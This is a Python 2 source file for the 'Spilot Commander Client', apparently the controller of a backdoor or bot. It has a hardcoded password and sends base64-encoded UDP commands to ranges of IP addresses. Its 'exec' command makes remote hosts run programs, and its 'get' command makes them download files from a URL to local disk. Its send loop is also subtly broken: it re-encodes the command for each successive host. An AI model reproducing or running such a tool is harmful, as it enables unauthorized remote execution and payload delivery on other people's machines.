import sys,os,time,socket,urllib,base64,getpass

def help_message ():
	print 'exec command	:	execute command on server'
	print 'get urllink	:	get file from http server'
	print 'help		:	print this message'
	print 'quit		:	exit this client'
	print 'iprange		:	redefine the iprange'


def ipformat (ip):
	if (int(ip.split('.')[0])>=1 and int(ip.split('.')[0])<=254) and (int(ip.split('.')[1])>=0 and int(ip.split('.')[1])<=254) and (int(ip.split('.')[2])>=0 and int(ip.split('.')[2])<=254) and (int(ip.split('.')[3])>=1 and int(ip.split('.')[3])<=254) :
		return 1
	else:
		return 0

def iprange ():
	print 'Please input ip range :'
	print 'for example : 192.168.1.1-192.168.1.254'
	print 'for example : 192.168.1.3,192.168.1.4'
	print 'for example : 192.168.1.1'
	iprange = ''
	while iprange == '' or (not '.' in iprange):
		iprange = raw_input('ip range:~~~~~~~#')
	ip = []
	if '-' in iprange:
		startip = iprange.split('-')[0].strip()
		endip = iprange.split('-')[1].strip()
		startnetwork = '%s.%s.%s' % (startip.split('.')[0],startip.split('.')[1],startip.split('.')[2])
		endnetwork = '%s.%s.%s' % (endip.split('.')[0],endip.split('.')[1],endip.split('.')[2])
		starthost = startip.split('.')[3]
		endhost = endip.split('.')[3]
		if starthost >= endhost:
			print 'first ip must smaller than second ip'
			return 0
		if ((not ipformat(startip)) or (not ipformat(endip))):
			print 'input ip format is wrong'
			return 0
		host = starthost
		for i in range(int(starthost),int(endhost)+1):
			ip.append('%s.%s' % (startnetwork,host))
			host = int(host) +1
		return ip
			
	elif ',' in iprange:
		for i in iprange.split(','):
			if not ipformat(i):
				print 'input ip format is wrong'
				return 0
			ip.append(i)
		return ip
	
	else:
		if not ipformat(iprange.strip()):
			print 'input ip format is wrong'
			return 0
		ip.append(iprange.strip())
		return ip
	
def sendcmd (ip,s,command):
	port = 27377
	for i in ip:
		command = base64.encodestring(command)
		s.sendto(command,(i,int(port)))
		print 'command has been sent to %s' % (i)



def ver(now_ver):
	start_run_time = time.ctime(time.time())
	return """
______________________________________________________________________________
		          [Spilot Commander Client]
		   Copyright by Spilot 2003-2004  Ver %s 
______________________________________________________________________________
	""" % (now_ver)




def authen ():
	passwd = 'penguin'
	count=3
	while count!=0:
		if passwd==getpass.getpass('password:'):
			break
		else:
			count = count-1
	if count == 0:
		print 'wrong password too many times'
		sys.exit()

def main ():
	print ver(1.0)
	authen()
	print 'Please input command'
	print 'type help or ? for help'
	ip = []
	if ip == []:
		print 'iprange not defined,please use iprange command to define iprange'
	#ip = iprange()
	#while ip == 0:
	#	ip = iprange()	
	#host = raw_input('host: (127.0.0.1)')
	#if host == '': host = '127.0.0.1'
	port = '27377'
	#print 'scmd server is %s:%s' % (host,port)
	s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
	while 1:
		command = ''
		while command == '':
			command = raw_input('command:~#')
		if command.split()[0] == 'get': 
			#print ';%s %s' % )
			if ip == []:
				print 'iprange not defined,you cannot execute command right now'
				print 'please use iprange command to define iprange'			
				continue
			if len(command.split()) != 3:
				print 'Usage: get http://.... c:/....'
				print 'Please input agin'
				continue
			if '\\' in command:
				print 'do not use \ as a delimiter,use / instead'
				print 'Please input agin'
				continue
			sendcommand = ';%s %s' % (command.split()[1],command.split()[2])
			#s.sendto(";%s %s" % (command.split()[1],command.split()[2]),(host,int(port)))
			sendcmd(ip,s,sendcommand)
		elif command.split()[0] == 'exec' :
			if ip == []:
				print 'iprange not defined,you cannot execute command right now'
				print 'please use iprange command to define iprange'			
				continue
			if len(command.split()) != 2:
				print 'Usage: exec xxx.exe'
				continue
			if '\\' in command:
				print 'do not use \ as a delimiter,use / instead'
				print 'Please input agin'
				continue
			sendcommand = ':%s' % (command[5:])
			sendcmd(ip,s,sendcommand)
			#print ':%s' % (command[5:])
			#s.sendto(':%s' % (command[5:]),(host,int(port)))
		elif command == 'help' or command == '?' or command == 'exit':
			help_message ()
		elif command == 'quit' or command =='exit' or command == 'q':
			print '88'
			sys.exit()
		elif command.strip() == 'iprange':
			ip = iprange()
			while ip == 0:
				ip = iprange()
		else:
			print 'Unknown command,please input agin'
			help_message()

if __name__ == '__main__':
	main()